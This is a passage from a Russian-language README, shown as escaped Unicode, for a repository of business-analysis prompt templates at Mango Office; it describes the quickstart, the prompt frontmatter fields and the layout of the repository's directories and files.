\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u2014 \u0432\\n  [`docs/ba-ecosystem.md`](docs/ba-ecosystem.md).\\n- **\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435** \u2014 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u0437\u0440\u0435\u043b\u044b\u0445 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u043d\u0430\u0440\u0443\u0436\u0443: \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u2014\\n  \u0432 \u0425\u0430\u0431, \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u043b\u0435\u0439\u0431\u0443\u043a\u0438 \u2014 \u0432 `ai-ba-playbooks`.\\n  \u041e\u0431\u0430 \u043f\u043e\u0442\u043e\u043a\u0430\\n  \u043e\u0434\u043d\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0438 \u043d\u0435\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435; \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 RFC\\n  [`docs/rfc-hub-integration.md`](docs/rfc-hub-integration.md).\\n\\n## \ud83c\udfaf \u0427\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\\n\\n| \u0412\u043e\u043f\u0440\u043e\u0441 | \u041e\u0442\u0432\u0435\u0442 |\\n| --- | --- |\\n| **\u0427\u0442\u043e \u044d\u0442\u043e?** | \u041d\u0430\u0431\u043e\u0440 \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u0442\u0438\u043f\u043e\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango Office: \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0422\u0417-\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438, use-case'\u043e\u0432, user story. |\\n| **\u0427\u0435\u043c \u044d\u0442\u043e _\u043d\u0435_ \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f?** | \u042d\u0442\u043e **\u043d\u0435** \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438 **\u043d\u0435** \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0432\u0438\u0442\u0440\u0438\u043d\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0432 \u0425\u0430\u0431\u0435 (\u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435), \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u043b\u0435\u0439\u0431\u0443\u043a\u0438 \u2014 \u0432 `ai-ba-playbooks`; \u0437\u0434\u0435\u0441\u044c \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410 \u0432 \u041c\u0430\u043d\u0433\u043e. |\\n| **\u041a\u043e\u043c\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e?** | \u0411\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043d\u0443\u0436\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u043f\u043e\u0434 \u0437\u0430\u0434\u0430\u0447\u0443\u00bb, \u0438 AI-\u0430\u0433\u0435\u043d\u0442\u0430\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0435\u043a\u0442\u0430. |\\n\\n## \ud83d\ude80 Quickstart: \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438\\n\\n0. **\u041e\u0442\u043a\u0440\u043e\u0439 \u0432\u0435\u0431-\u043a\u0430\u0442\u0430\u043b\u043e\u0433.** GitHub Pages \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0436\u0438\u0432\u0451\u0442 \u0432 [`site/`](site/) \u0438\\n   \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0438\u0437 Markdown source of truth \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439\\n   `node scripts/generate-pages-data.mjs`. \u0414\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u043b\u0435\u0436\u0430\u0442 \u0432\\n   [`site/data/`](site/data/), \u0434\u0435\u043f\u043b\u043e\u0439 \u0432 `gh-pages` \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n   [`.github/workflows/github-pages.yml`](.github/workflows/github-pages.yml).\\n   \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u2014 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 SPA \u0438\u0437 \u043f\u044f\u0442\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 (\u0432\u0435\u0440\u0445\u043d\u0435\u0435 \u043c\u0435\u043d\u044e): **\u041a\u0430\u0442\u0430\u043b\u043e\u0433**\\n   (\u0433\u043b\u0430\u0432\u043d\u0430\u044f), **\u0414\u0430\u0448\u0431\u043e\u0440\u0434**, **Roadmap**, **\u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b** \u0438 **\u041f\u0430\u0442\u0442\u0435\u0440\u043d\u044b**. \u0412 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435\\n   \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e\u0438\u0441\u043a \u0441 \u0430\u0432\u0442\u043e\u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c, \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430, \u0444\u0438\u043b\u044c\u0442\u0440\u044b (\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438,\\n   \u0440\u0435\u0436\u0438\u043c\u044b, \u0441\u0442\u0430\u0442\u0443\u0441), \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0432\u044b\u0431\u043e\u0440\u043a\u0438 \u0432 Markdown \u0438 \u0442\u0451\u043c\u043d\u0430\u044f \u0442\u0435\u043c\u0430; \u043a\u043d\u043e\u043f\u043a\u0430 \u00ab\u0421\u0441\u044b\u043b\u043a\u0430\u00bb \u043d\u0430\\n   \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u044f\u043c\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432\u0438\u0434\u0430 `#prompt=`.\\n1. **\u041d\u0430\u0439\u0434\u0438 \u043f\u0440\u043e\u043c\u043f\u0442.** \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435, \u0433\u043e\u0442\u043e\u0432\u044b\u0435 \u043a \u0440\u0430\u0431\u043e\u0442\u0435 \u0430\u0441\u0441\u0435\u0442\u044b \u043b\u0435\u0436\u0430\u0442 \u0432 `prompts/`\\n   (\u0438\u043c\u0435\u043d\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 `[biz-process]-[purpose].md`, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440\\n   `prompts/tz-stats-generator.md`).\\n2. **\u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0439 frontmatter.** \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 YAML-\u0431\u043b\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439\\n   \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u043a\u0430\u043a \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438 \u043e\u0442\u043a\u0443\u0434\u0430 \u043e\u043d \u0432\u0437\u044f\u043b\u0441\u044f:\\n\\n   | \u041f\u043e\u043b\u0435 | \u0417\u0430\u0447\u0435\u043c |\\n   | --- | --- |\\n   | `status` | \u0417\u0440\u0435\u043b\u043e\u0441\u0442\u044c: `draft` / `canonical` (\u0433\u043e\u0442\u043e\u0432) / `archived`. **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `version` | \u0412\u0435\u0440\u0441\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e. **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `updated` | \u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `temperature` | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c\u0430\u044f \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (\u043e\u0431\u044b\u0447\u043d\u043e `0.1`). **\u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435.** |\\n   | `source_hub` / `source_sha` / `based_on` | \u041f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043c\u0438\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (provenance). *\u041e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435.* |\\n\\n   \u0422\u043e\u043b\u044c\u043a\u043e 4 \u043f\u043e\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b ([`standards/prompt-standard.md`](standards/prompt-standard.md)).\\n   \u041c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u2014 \u0432\\n   [`docs/ba-processes/00-index.md`](docs/ba-processes/00-index.md),\\n   research-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0432\\n   [`docs/hub-research-dependencies.md`](docs/hub-research-dependencies.md):\\n   frontmatter \u0438\u043c\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f.\\n\\n3. **\u0417\u0430\u043f\u0443\u0441\u0442\u0438 \u043f\u0440\u043e\u043c\u043f\u0442** \u0432 \u0441\u0432\u043e\u0435\u0439 LLM \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u043f\u0435\u0440\u0430\u0442\u0443\u0440\u043e\u0439 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0430;\\n   \u0441\u043b\u0435\u0434\u0443\u0439 \u0440\u0430\u0437\u0434\u0435\u043b\u0443 **\u00ab\u0424\u041e\u0420\u041c\u0410\u0422 \u0412\u042b\u0412\u041e\u0414\u0410\u00bb** \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430.\\n4. **\u041d\u0443\u0436\u0435\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a?** \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438 \u0435\u0449\u0451 \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2014\\n   \u0432 `prompts/drafts/`. \u0418\u0445 \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0431\u0435\u0437 human review\\n   (\u0441\u043c. capability boundaries \u0432 [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md)).\\n   \u041f\u0435\u0440\u0435\u0432\u043e\u0434 \u0432 `prompts/` (canonical) \u2014 \u0447\u0435\u0440\u0435\u0437 issue \u2192 PR \u2192 review.\\n\\n## \ud83d\uddc2\ufe0f \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 `prompts/`\\n\\n| \u041f\u0443\u0442\u044c | \u0420\u043e\u043b\u044c |\\n| --- | --- |\\n| `prompts/` | \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2014 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0411\u0410. |\\n| `prompts/drafts/` | \u0427\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0438 \u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b (\u0431\u0435\u0437 human review). |\\n| `prompts/archive/` | \u0423\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b, \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. |\\n\\n\u0415\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\\nself-test evidence \u0436\u0438\u0432\u0451\u0442 \u0432 [`runs/`](runs/).\\n\\n## \ud83d\udcd0 \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n\\n| \u041f\u0443\u0442\u044c | \u0420\u043e\u043b\u044c |\\n| --- | --- |\\n| `ai-governance/ai-governance.md` | \u041a\u043e\u043d\u0441\u0442\u0438\u0442\u0443\u0446\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430: \u0440\u043e\u043b\u0438, \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f, capability taxonomy, DoD. |\\n| `ai-rules/ai-quick-rules.md` | \u041e\u0434\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f AI-\u0430\u0433\u0435\u043d\u0442\u0430 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f fail-closed semantics). |\\n| `ai-rules/AI_SESSION_HANDOVER_PROMPT.md` | \u0413\u043e\u0442\u043e\u0432\u044b\u0439 prompt \u0434\u043b\u044f Runtime-\u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0447\u0430\u0442\u0430\u043c\u0438 (full-\u0441\u043b\u043e\u0439). |\\n| `prompts/AI_SESSION_HANDOVER_PROMPT.executable.md` | Executable-\u0441\u043b\u043e\u0439 \u0442\u043e\u0433\u043e \u0436\u0435 prompt: \u0433\u0440\u0443\u0437\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c, full \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e escalation triggers. |\\n| `ai-rules/agent-onboarding-protocol.md` | \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 \u0430\u0433\u0435\u043d\u0442\u0430 (v1.5, \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0425\u0430\u0431\u0430). |\\n| `CONTRIBUTING.md` | Workflow \u0432\u043a\u043b\u0430\u0434\u0430: issue \u2192 PR \u2192 review. |\\n| `CHANGELOG.md` | \u041f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430: \u0436\u0443\u0440\u043d\u0430\u043b \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439. |\\n| `LICENSE` | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (MIT). |\\n| `pr-ops/artifact-map.md` | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0435\u0439 \u0438 Smart Sync snapshot. |\\n| `pr-ops/BACKLOG.md` | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u043b\u043e\u0433 \u0438 \u0435\u0434\u0438\u043d\u044b\u0439 \u0442\u0440\u0435\u043a\u0435\u0440 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. |\\n| `pr-ops/session-digests.md` | \u0418\u043d\u0434\u0435\u043a\u0441 \u0441\u0443\u043c\u043c\u0430\u0440\u0438\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0447\u0430\u0442\u0430\u043c\u0438. |\\n| `.gitignore` | \u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0438 \u041e\u0421. |\\n| `.github/workflows/github-pages.yml` | \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0432 `gh-pages`. |\\n| `scripts/` | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0443 JSON \u0434\u043b\u044f GitHub Pages. |\\n| `tools/` | \u0420\u0430\u0431\u043e\u0447\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0425\u0430\u0431\u0430 (`make validate`): frontmatter, \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u0435\u043b\u044c\u0442\u044b \u2014 [`tools/README.md`](tools/README.md). |\\n| `.archive/` | \u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0430\u0440\u0445\u0438\u0432 `superseded`-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432: \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0434\u0438 traceability, \u0442\u043e\u0447\u043a\u0430\u043c\u0438 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f ([`.archive/README.md`](.archive/README.md)). |\\n| `.github/workflows/validate.yml` | CI: \u043f\u0440\u043e\u0433\u043e\u043d \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0425\u0430\u0431\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 PR \u0438 push \u0432 `main`. |\\n| `site/` | \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 SPA-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441: \u041a\u0430\u0442\u0430\u043b\u043e\u0433, \u0414\u0430\u0448\u0431\u043e\u0440\u0434, Roadmap, \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u041f\u0430\u0442\u0442\u0435\u0440\u043d\u044b. |\\n| `patterns/` | \u041f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0411\u0410: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0437\u0430\u0434\u0430\u0447 (8 \u043f\u043e\u043b\u0435\u0439, [`standards/pattern-standard.md`](standards/pattern-standard.md)). |\\n| `prompts/` | \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435 prompt assets \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 Mango. |\\n| `prompts/archive/` | \u0410\u0440\u0445\u0438\u0432\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b. |\\n| `runs/` | \u0415\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: `runs/YYYY/RUN-XXXX/` \u0441 `metadata.yaml`, `inputs/`, `outputs/`, `feedback/`, `logs/`. |\\n| `standards/` | \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0430: \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0438 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430. |\\n| `kb/` | \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u0438, \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\u043c\u0438. |\\n| `docs/taxonomy.md` | \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f: 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410. |\\n| `docs/ba-ecosystem.md` | \u042d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0411\u0410: \u0433\u0440\u0430\u0444 \u0441\u0432\u044f\u0437\u0435\u0439, \u043c\u0430\u0442\u0440\u0438\u0446\u044b, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043a \u0430\u0433\u0435\u043d\u0442\u0430\u043c. |\\n| `docs/rfc-hub-integration.md` | RFC: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u0432 \u0425\u0430\u0431. |\\n| `docs/ba-processes/` | \u0418\u043d\u0434\u0435\u043a\u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2194 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u2194 \u043f\u0440\u043e\u043c\u043f\u0442. |\\n| `docs/adr/` | Architecture Decision Records \u2014 \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u0447\u0442\u043e\u00bb. |\\n| `docs/audit/` | \u0420\u0435\u0432\u0438\u0437\u0438\u0438, \u0430\u0443\u0434\u0438\u0442\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f. |\\n| `docs/analysis/` | RFC \u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u0447\u0451\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0425\u0430\u0431\u0430). |\\n\\n`standards/` \u2014 